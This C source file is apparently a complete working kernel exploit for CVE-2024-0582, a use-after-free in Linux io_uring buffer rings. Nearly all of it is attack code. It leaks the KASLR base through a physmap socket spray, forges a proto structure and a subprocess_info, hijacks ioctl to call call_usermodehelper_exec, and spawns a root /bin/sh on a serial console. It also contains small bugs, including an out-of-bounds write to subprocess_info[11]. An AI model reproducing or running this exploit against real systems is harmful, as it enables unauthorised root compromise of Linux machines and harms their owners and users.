#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include "liburing.h"
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <mqueue.h>

#include <sys/syscall.h>
#include <unistd.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <err.h>

#include <assert.h>

#define target_tty_dev "/dev/ttyS0"

#define PAGE_SIZE 0x1000
#define QD 4 
#define sock_def_readable 0xb16b90 
#define sk_data_ready_off 680
#define TCP_OFFSET 1400
#define IOCTL_OFFSET 40
#define call_usermodehelper_exec 0xa38f0 
#define call_usermodehelper_exec_work 0xa3cb0 

#define PROTO_SIZE 432

// offsets into subprocess_info
#define subprocess_workstruct_data 0
#define subprocess_workstruct_entry_next 8
#define subprocess_workstruct_entry_prev 16
#define subprocess_workstruct_func 24
#define subprocess_path 40
#define subprocess_argv 48
#define subprocess_envp 56
#define subprocess_init 72
#define subprocess_cleanup 80

#define __ALIGN_MASK(x,mask)    (((x)+(mask))&~(mask))
#define ALIGN(x,a)              __ALIGN_MASK(x,(typeof(x))(a)-1)

// important for these two values to be correct!
#define L1_CACHE_SHIFT 6
#define sk_buff_size 224

#define SOCK_MIN_SNDBUF 2 * (2048 + ALIGN(sk_buff_size, 1 << L1_CACHE_SHIFT))

// ripped from liburing
static inline int PTR_ERR(const void *ptr)
{
	return (int) (intptr_t) ptr;
}

static inline bool IS_ERR(const void *ptr)
{
	return uring_unlikely((uintptr_t) ptr >= (uintptr_t) -4095UL);
}

static struct io_uring_buf_ring *hppa_br_setup(struct io_uring *ring,
					  unsigned int nentries, int bgid,
					  unsigned int flags, int *ret)
{
	struct io_uring_buf_ring *br;
	struct io_uring_buf_reg reg;
	size_t ring_size;
	off_t off;
	int lret;

	memset(&reg, 0, sizeof(reg));
	reg.ring_entries = nentries;
	reg.bgid = bgid;
	reg.flags = IOU_PBUF_RING_MMAP;

	*ret = 0;
	lret = io_uring_register_buf_ring(ring, &reg, flags);
	if (lret) {
		*ret = lret;
		return NULL;
	}

	off = IORING_OFF_PBUF_RING | (unsigned long long) bgid << IORING_OFF_PBUF_SHIFT;
	ring_size = nentries * sizeof(struct io_uring_buf);
	br = mmap(NULL, ring_size, PROT_READ | PROT_WRITE,
			MAP_SHARED | MAP_POPULATE, ring->ring_fd, off);
	if (IS_ERR(br)) {
		*ret = PTR_ERR(br);
		return NULL;
	}

	return br;
}


void *dump_buffer(void *buffer, int size){
	for(int i=0; i<(size/16); i++){ // split to 16-byte (2 word) "lines"
		uint64_t **at;
		at = buffer + i*16;
		// non-zero mode
		if(*at == 0x0 && *(at+1) == 0x0)
			continue;

		printf("0x%llx: 0x%llx 0x%llx\n", at, *at, *(at+1));

	}
}

// returns offset at which found; assumes buffer is 8 bytes aligned
uint64_t seek_value(void *buffer, int size, uint64_t value){ 
	for(int off = 0; off < size; off = off + 8){ // split to 16-byte (2 word) "lines"
		uint64_t **at;
		at = buffer + off;
		if(*at == value)
			return off;
	}
	return -1;
}

void exit_err(char *str){
	puts(str);
	exit(1);
}


int main(){
	printf("[*] CVE-2024-0582 Exploit by anatomic (@YordanStoychev)\n\n");

	cpu_set_t set;
	CPU_ZERO(&set);
	CPU_SET(sched_getcpu(), &set);
	if (sched_setaffinity(0, sizeof(set), &set) < 0) {
		perror("sched_setaffinity");
		exit(EXIT_FAILURE);
	}

	// setup io_uring stuff
	struct io_uring ring;
	uint64_t kaslr_base;
	int ret;

	ret = io_uring_queue_init(QD, &ring, 0);
	if (ret < 0) {
		fprintf(stderr, "queue_init: %s\n", strerror(-ret));
		return 1;
	}
	struct rlimit max_files;

	getrlimit(RLIMIT_NOFILE, &max_files);
	max_files.rlim_cur = max_files.rlim_max;
	setrlimit(RLIMIT_NOFILE, &max_files);

	int limit = max_files.rlim_cur - 20;
	int nr_memfds = 0;
	int nr_sockets = limit - nr_memfds; 

	int br_ret;

	int nr_pages = 128;
	int nr_buffers = 1000;
	void **buffers = calloc(nr_buffers, sizeof(*buffers));
	io_uring_queue_init(QD, &ring, 0);

	for(int i = 0; i < nr_buffers; i++){
		buffers[i] = hppa_br_setup(&ring, nr_pages * 256, i, 0, &br_ret);
		io_uring_buf_ring_init(buffers[i]);
	}
	for(int i = 0; i < nr_buffers; i++){
		br_ret = io_uring_unregister_buf_ring(&ring, i);
		if(br_ret)
			printf("issue freeing %d\n", br_ret);
	}

	uint64_t egg = 0xdeadbeefdeadbeef;
	int *sockets = calloc(nr_sockets, sizeof(*sockets));
	for(int i = 0; i<nr_sockets; i++){
		if ((sockets[i] = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
			exit_err("socket creating failed");
		if (setsockopt(sockets[i], SOL_SOCKET, SO_MAX_PACING_RATE, &egg, sizeof(uint64_t)) < 0)
			exit_err("setting pacing rate failed");
		int j = sockets[i] + SOCK_MIN_SNDBUF; // file descriptor of the socket + 4608 (because min(j, 4608) will be performed to select the value)
		if (setsockopt(sockets[i], SOL_SOCKET, SO_SNDBUF, &j, sizeof(int)) < 0)
			exit_err("failed to set SO_SNDBUF");
	}

	for(int i = 0; i < nr_buffers; i++){
		// dump_buffer(buffers[i], nr_pages * PAGE_SIZE);
		uint64_t egg_off = seek_value(buffers[i], nr_pages * PAGE_SIZE, egg);
		if(egg_off == -1)
			continue;

		// both sk_pacing_rate and sk_max_pacing_rate have been set to our egg
		// we need to verify that the values at both offsets match to be sure we are at the right location
		// in physmap there will be other places holding this value that are not the struct sock itself
		// we might also be at the offset of the sk_max_pacing_rate when we are seeking sk_pacing_rate
		if(*(uint64_t*) (buffers[i] + egg_off) != *(uint64_t*) (buffers[i] + egg_off + 8))
			continue;

		uint64_t sock_off = egg_off - 456;
		uint64_t m_sock_addr = buffers[i] + sock_off;
		printf("Found value 0x%llx at offset 0x%llx\n", egg, egg_off);
		printf("Socket object starts at offset 0x%llx\n", sock_off);
		uint64_t kaslr_leak;
		kaslr_leak = *(uint64_t*) (buffers[i] + sock_off + sk_data_ready_off);
		printf("kaslr_leak: 0x%llx\n", kaslr_leak);
		kaslr_base = kaslr_leak - sock_def_readable;
		printf("kaslr_base: 0x%llx\n", kaslr_base);

		// get the ID of the socket we leaked
		int id = *(int*)(buffers[i] + sock_off + 332) / 2 - SOCK_MIN_SNDBUF;
		printf("found socket is socket number %d\n", id);

		// now get the pointer to the object
		uint64_t obj_addr;
		obj_addr = *(uint64_t*)(buffers[i] + sock_off + 192) - 192; // (value in sk_error_queue.next) - (offset of sk_error_queue_next) 
		printf("our struct sock object starts at 0x%llx\n", obj_addr);

		// Before we start messing with the object we first have to copy it so we can restore it later...
		// if we don't restore we will panic the kernel
		int sz_tcp_sock = 2208;
		void *backup = malloc(sz_tcp_sock); 
		memcpy(backup, buffers[i] + sock_off, sz_tcp_sock);

		// point sock.__sk_common.skc_prot to our fake proto structure
		// we will set up our proto structure where our tcp object de-facto starts @1400 from the start of the sock object
		uint64_t proto_addr = obj_addr + TCP_OFFSET; // address of our proto structure
		printf("fake proto structure set up at 0x%llx\n", proto_addr);
		// uint64_t proto_addr = 0xdeadbeef;
		memcpy(m_sock_addr + 40, &proto_addr, 8);

		// now we setup our proto structure and overwrite the ioctl value
		uint64_t ioctl_val = kaslr_base + call_usermodehelper_exec;
		uint64_t m_proto = m_sock_addr + TCP_OFFSET;
		uint64_t m_proto_ioctl = m_proto + IOCTL_OFFSET;
		memcpy(m_proto_ioctl, &ioctl_val, 8);

		// lets setup the strings we need
		// the string of the path must be written at the start of our proto structure as we should NOT overwrite subprocess_info->path
		// it must remain the same because subprocess_info->path and proto->ioctl overlap

		// path at start of proto
		char *path = "/bin/sh";
		memcpy(m_proto, path, strlen(path) + 1); // we copy the path into the buffer

		// we are going to put the other strings after the end of our proto structure as there we will have for sure enough space.
		// right after the strings we will put the array of pointers argv
		char *arg0 = ""; // whatever
		char *arg1 = "-c";
		char *arg2 = malloc(128);
		sprintf(arg2, "/bin/sh &>%s <%s", target_tty_dev, target_tty_dev);
		uint64_t arg0_addr = proto_addr + PROTO_SIZE;
		uint64_t arg1_addr = arg0_addr + strlen(arg0) + 1;
		uint64_t arg2_addr = arg1_addr + strlen(arg1) + 1;
		uint64_t argv[3];
		argv[0] = arg0_addr;
		argv[1] = arg1_addr;
		argv[2] = arg2_addr;

		uint64_t argv_off = arg2_addr - arg0_addr + strlen(arg2) + 1; // offset relative to the end of the proto structure
		argv_off = argv_off + 7 & ~7; // aligning it 8 bytes
		uint64_t m_argv_addr = m_proto + PROTO_SIZE + argv_off;
		uint64_t argv_addr = proto_addr + PROTO_SIZE + argv_off;

		memcpy(m_proto + PROTO_SIZE, arg0, strlen(arg0)+1);
		memcpy(m_proto + PROTO_SIZE + strlen(arg0) + 1, arg1, strlen(arg1)+1);
		memcpy(m_proto + PROTO_SIZE + strlen(arg0) + strlen(arg1) + 2 , arg2, strlen(arg2)+1);
		memcpy(m_argv_addr, &argv, sizeof(argv));

		printf("args at 0x%llx\n", arg0_addr);
		printf("argv at 0x%llx\n", argv_addr);


		// we are going to setup a subprocess_info structure at the beginning of the struct sock 
		// don't forget subprocess_info->path must remain the same!! we will instead write the path into the beginning of the proto struct 
		// we need to setup the following members: work_struct.data, work_struct.entry.next, work_struct.entry.prev, work_struct.func
		// also argv and envp
		uint64_t subprocess_info[11];
		subprocess_info[0] = 0; // work_struct.data
		subprocess_info[1] = obj_addr + subprocess_workstruct_entry_next; // work_struct.entry.next
		subprocess_info[2] = obj_addr + subprocess_workstruct_entry_next; // work_struct.entry.prev
		subprocess_info[3] = kaslr_base + call_usermodehelper_exec_work;
		subprocess_info[5] = proto_addr; // both proto_addr and path - important to keep it the same as it was
		subprocess_info[6] = argv_addr; // argv
		subprocess_info[7] = 0; // envp
		subprocess_info[10] = 0; // init 
		subprocess_info[11] = 0; // cleanup

		memcpy(m_sock_addr, &subprocess_info, sizeof(subprocess_info));
		printf("subprocess_info set up at beginning of sock at 0x%llx\n", obj_addr);

		printf("calling ioctl... \n");
		ioctl(id, 1337); // call the ioctl and trigger the exploit

		// time to restore back the socket so we don't panic the kernel
		memcpy(m_sock_addr, backup, sz_tcp_sock); 

		break;
	}


	// close the sockets and memfds as we will loop and the program won't exit normally
	// so the sockets and memfd will remain in memory
	for (int i = 0; i < nr_sockets; i++) {
		close(sockets[i]);
	}

	while(true)
		sleep(60);

	return 0;
}